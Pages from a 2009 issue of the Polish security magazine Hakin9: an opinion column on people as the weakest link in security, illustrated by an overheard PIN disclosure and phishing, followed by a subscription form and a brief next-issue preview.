ziewczyna powiedziała chłopakowi, że nie pamięta PIN-u i że musi zadzwonić do koleżanki. Wzięła telefon, wykręciła numer. Rozmowa przebiegła mniej więcej tak: Cześć Ewelina! Słuchaj, nie pamiętam PIN-u do mojej karty bankowej. Na moim biurku leży taki zielony segregator. Tam jest taka lista z wszystkimi moimi hasłami. Lista z hasłami? Nierozsądne, ale bardzo typowe. Wiele osób tak robi. Najgorsze jednak miało dopiero nadejść. Jak, jak? 3765? Tak – to chyba ten. Dzięki, cześć! . Prawdziwi z nas hakierzy! Poznaliśmy numer PIN tej kobiety, chociaż tak naprawdę nic nie zrobiliśmy. W tym miejscu powinienem napisać: co by się stało, gdyby zamiast mnie stał tam jakiś złodziej..., ale czy to nie jest oczywiste? I gdy już myślałem, że poziom głupoty sięgnął zenitu, chłopak rzekł do dziewczyny: Zapisz sobie ten numer w komórce. Przecież czterocyfrowy numer telefonu w książce adresowej na pewno nie wzbudzi żadnych podejrzeń u przestępcy... Wraz z rozwojem cywilizacji jesteśmy zmuszeni do zapamiętywania coraz to większej ilości informacji. Urodziny znajomych, terminy spotkań, ważniejsze numer y telefonów. Nic dziwnego, że próbujemy różnych sposobów, aby 78
HAKIN9 4/2009
ułatwić sobie życie. A w dzisiejszych czasach nic nie ułatwia go tak jak telefony komórkowe. W książce adresowej zapisujemy numer y telefonów znajomych. Urodziny i terminy spotkań w terminarzu. Jak widać, nawet PIN do karty płatniczej możemy zapisać w komórce. Wkrótce zaczniemy wpisywać nasz adres, godziny, o któr ych nie ma nas w domu, imię psa, rasę oraz jak go można udobruchać. Model alarmu, jakiego używamy (oczywiście wraz z numerem PIN do niego), a także to, gdzie w mieszkaniu należy szukać drogocennych przedmiotów. Być może już wkrótce banki zrozumieją, jaką krzywdę robią ludziom. Pójdą swoim klientom na rękę i zaczną drukować PIN-y na kartach płatniczych. Cóż to by była za wygoda i oszczędność czasu! Już nigdy nie pomyliłby nam się PIN do karty kredytowej z PIN-em do domofonu. Nie musielibyśmy się martwić, że znowu źle wpiszemy kod i nasza karta zostanie przez bankomat
zatrzymana. Zakupy w sklepie byłyby pozbawione jakiegokolwiek stresu. Gdy tylko doszłoby do płatności, wystarczyłoby podać ekspedientce kartę. Ona już sama za nas wpisałaby PIN do terminala. Nie byłoby też żadnych przeszkód, aby poprosić znajomego, żeby poszedł za nas wyciągnąć pieniądze z bankomatu. Po prostu idylla. Zmieniając temat: czy wydawanie magazynu Hakin9 w ogóle ma sens? Piszemy, jak poprawnie konfigurować systemy informatyczne. Uczymy o tym, jak pisać bezpieczne aplikacje. Opisujemy algorytmy kryptograficzne, których bezpieczeństwo jest zapewnione skomplikowanymi wzorami matematycznymi. Zwykły użytkownik może jednak zainstalować najlepsze i najdroższe produkty zapewniające bezpieczeństwo. Może je poprawnie skonfigurować i uruchomić wszystkie niezbędne dodatki, a i tak pozostaje wciąż narażony na niebezpieczeństwo. Bo nawet najlepsze
Krzysztof Piecuch jest studentem informatyki Uniwersytetu Wrocławskiego. Interesuje się programowaniem i algorytmiką. Nie ma problemu z zapamiętaniem 4-cyfrowego numeru PIN. Kontakt z autorem: [email protected]
drzwi antywłamaniowe nie powstrzymają złodzieja, jeśli klucz schowamy pod wycieraczkę. Czy jest zatem sens wymyślać coraz lepsze zabezpieczenia, kiedy problem leży zupełnie gdzie indziej? Idealnym rozwiązaniem byłoby stworzenie takich systemów informatycznych, które byłyby po prostu bezpieczne. I nieważne, czy korzystałby z nich doświadczony administrator, osoba, która nie ma pojęcia o bezpieczeństwie komputerowym, czy ktoś o inteligencji marchewki. Taki program wystarczyłoby zainstalować w swoim systemie, i już żaden haker nie mógłby dostać się do naszych zasobów. Moglibyśmy umieścić nasze kody w Internecie albo wpuścić hakera do naszego mieszkania. System i tak pozostałby niezdobyty. Niestety, takie programy pozostają jedynie w sferze marzeń. Jakbyśmy się nie starali, nie uda nam się stworzyć zabezpieczeń całkowicie idioto-odpornych, gdyż idioci są genialni w swojej głupocie. Jeśli nawet przewidzielibyśmy wszystkie głupstwa, jakie może popełnić użytkownik, to i tak zrobiłby on coś, na co nigdy nie wpadlibyśmy. Jakiś czas temu w większości systemów wprowadzono wykrywanie słabych haseł już w czasie rejestracji. Jednak im dłuższe i mocniejsze hasło, tym większe prawdopodobieństwo, że użytkownik karteczkę z hasłem naklei na monitor albo w ogóle zapomni, jakie hasło wpisał. Gdy zmusimy użytkownika do stworzenia profilu o ograniczonych prawach, to i tak R
permanentnie będzie korzystał z konta na prawach administratora. Gdy domyślnie zainstalujemy w systemie ochronę antywirusową, to użytkownik ją wyłączy (bo przez ten program komputer wolniej działa). Innym rozwiązaniem (i chyba najbardziej racjonalnym) jest informowanie społeczeństwa o
Człowiek w całym łańcuchu bezpieczeństwa był, jest i będzie jego najsłabszym ogniwem. niebezpieczeństwach, jakie czyhają w cyberprzestrzeni. Ale przecież już to robimy! Informujemy, apelujemy, prosimy i grozimy. I co? I nic! Nie wierzę, aby bohaterka naszej historii nie wiedziała o tym, jak poufną informacją jest numer PIN. Że nie można podawać go innym i że należy chronić go jak największej tajemnicy. Że jeśli złodziej pozna PIN, to będzie mogła pożegnać się z ciężko zarobionymi pieniędzmi odłożonymi na koncie. Bo choć pieniądze w banku są ubezpieczone od kradzieży, to nie zobaczymy ani grosza, jeśli okaże się, że to my podaliśmy złodziejowi hasło do naszego konta. Nic dziwnego, że cyfrowi przestępcy nie łamią haseł do kont bankowych. Oni po prostu grzecznie o nie proszą. Złodzieje wysyłają miliony maili, podając się za bank X i – pod pozorem na E
K
L
A
M
przykład świątecznej promocji – proszą o zalogowanie się na specjalnie spreparowanej stronie, wyglądającej jak strona banku X. Metoda ta nazywa się phishingiem. Jest ona o wiele szybsza, prostsza i skuteczniejsza niż łamanie zabezpieczeń banku. A dopóki klienci banków podają numer PIN, jakby był on numerem telefonu, to takie praktyki będą jeszcze się nasilać. I, pomimo że banki ostrzegają swoich klientów przed oszustami, ciągle słyszymy o kolejnych tego typu atakach. Nawet Kevin Mitnick, któr y jest uważany za największego hakera na świecie, mówił, że łamał ludzi – nie hasła. Z kolei Albert Einstein podobno powiedział: Tylko dwie rzeczy są nieskończone: wszechświat i ludzka głupota. Choć co do tego pierwszego to nie mam pewności. Czuję, że jesteśmy bezsilni w tej kwestii. Przez ostatnie 30 lat zrobiliśmy milowe kroki w kwestii zabezpieczeń. Jednak jeśli chodzi o świadomość społeczeństwa, to dalej jesteśmy tam, skąd wyruszyliśmy. Swoją drogą... pozostaje dla mnie tajemnicą, dlaczego ludzie chodzą z numerami PIN w portfelach, ale przyczepienie do klucza breloczka z adresem mieszkania uznają za totalny kretynizm? Te dwie czynności powinny wywoływać w ludziach taką samą reakcję! Różnią się między sobą tylko tym, że klucz chroni nasze mieszkanie, a PIN – nasze pieniądze. A
4/2009 HAKIN9
79
Roczna prenumerata
tylko
249,-
+ hakin9 Extra
hakin9 – jak się obronić to ukazujący się w dwudziestu czterech krajach Europy magazyn o bezpieczeństwie. hakin9 porusza sprawy związane z bezpieczeństwem systemów informatycznych – rozpatrywane zarówno od strony osoby naruszającej bezpieczeństwo, jak i osoby, która bezpieczeństwo zapewnia. Radzimy jak skutecznie zabezpieczyć system przed hakerami i wszelkimi innymi zagrożeniami, oprowadzamy Czytelników po tajnikach najpopularniejszych programów antywirusowych, systemów wykrywania włamań, narzędziach, których potrzebuje każdy administrator.
UWAGA! Zmiana danych kontaktowych
Obsługa prenumeraty 1. Telefon
+48 22 877 20 80 2. Fax
+48 22 877 20 70 2. Online
[email protected]
3. Adres
EuroPress Polska Sp. z o.o. ul. Jana Kazimierza 46/54 01-248 Warszawa
Zamówienie prenumeraty Prosimy wypełniać czytelnie i przesyłać faksem na numer: 00 48 22 877 20 70 lub listownie na adres: EuroPress Polska Sp. z o.o. ul. Jana Kazimierza 46/54 01-248 Warszawa Polska E-Mail: [email protected] Przyjmujemy też zamównienia telefoniczne: 00 48 22 877 20 80 Jeżeli chcesz się dowiedzieć o formach płatności, wejdź na stronę: www.europress.pl lub napisz na e-mail: [email protected]
Imię i nazwisko ............................................................................... Nazwa firmy..................................................................................... Dokładny adres .............................................................................. .........................................................................................................
Zadzwoń
Telefon ............................................................................................
0
+48 22 877 20 8 lub zamów mailowo!
E–mail ............................................................................................. ID kontrahenta ................................................................................ Numer NIP firmy ............................................................................. Fax (wraz z nr kierunkowym) .........................................................
□ automatyczne przedłużenie prenumeraty
Prenumerujesz – zyskujesz l
l l l
oszczędność pieniędzy szybka dostawa prezenty bezpieczna płatność on–line
Tytuł hakin9, jak się obronić (1 płyta CD) Miesięcznik o bezpieczeństwie i hakingu hakin9 Extra
Ilość Od Ilość zama- numeru nume- wianych pisma rów prenume- lub mierat siąca
11
1
Cena
249 PLN
ZA MIESIĄC W następnym numerze między innymi: Aktualne informacje o najbliższym numerze znajdziesz na naszej stronie www.hakin9.org/pl.
Atak ZACIERANIE ŚLADÓW PO WAMANIU Dla crackera włamującego się do cudzego systemu informatycznego najważniejsze jest... skuteczne zatarcie śladów po całej operacji. Nawet najbardziej spektakularne włamanie przy użyciu stworzonego przez siebie exploita nie przyniesie włamywaczowi wiele korzyści, jeśli nazajutrz pojawią się u niego agenci CBŚ. Zapraszam do poznania kilku technik stosowanych przez crackerów w celu zmylenia śledczych przeprowadzających analizę powłamaniową. TEMPEST. BURZA W SZKLANCE WODY W obecnych czasach niemal każda informacja jest na sprzedaż i stanowi niezwykle cenny towar. Pozwolisz nadal siebie bezkarnie okradać? Najlepszą obroną jest atak, atak elektromagnetyczny. DEFRAUDACJE Z UŻYCIEM ROGUE ACCES POINTS Coraz więcej tzw. black-hat hakerów wykorzystuje sieci bezprzewodowe do kradzieży poufnych danych płatniczych. Proceder ten nabrał dużego rozmachu szczególnie u naszych zachodnich sąsiadów, gdzie płatne punkty dostępowe stały się bardzo popularne. Natomiast całym procesem coraz częściej zawiadują
NA CD hakin9.live bootowalna dystrybucja Linuksa Mnóstwo narzędzi – niezbędnik hakera Tutoriale – praktyczne ćwiczenia zagadnień poruszanych w artykułach Dodatkowa dokumentacja Pełne wersje komercyjnych aplikacji
zorganizowane grupy przestępcze, posiadające rozproszoną siatkę w całej Europie. Pomimo coraz lepszych technik przeciwdziałania, pranie brudnych pieniędzy staje się niestety coraz łatwiejsze. Artykuł ten pokazuje, na czym bazują takie ataki oraz jak się przed nimi uchronić.
Obrona PROJEKTOWANIE INTERFEJSÓW UŻYTECZNYCH Zapomniany temat przez wszystkich, ostatnio jednak bardziej poruszany dla klienta, czyli interfejs, to co jest pomiędzy nami a sprzętem. Nie zawsze funkcjonalny nie zawsze adekwatny do potrzeb klienta. Dziś nietypowo zobaczymy interfejs osób po drugiej stronie czyli użytkowników.
Numer będzie w sprzedaży pod koniec kwietnia 2009 Redakcja zastrzega sobie prawo zmiany zawartości pisma. 82
HAKIN9 4/2009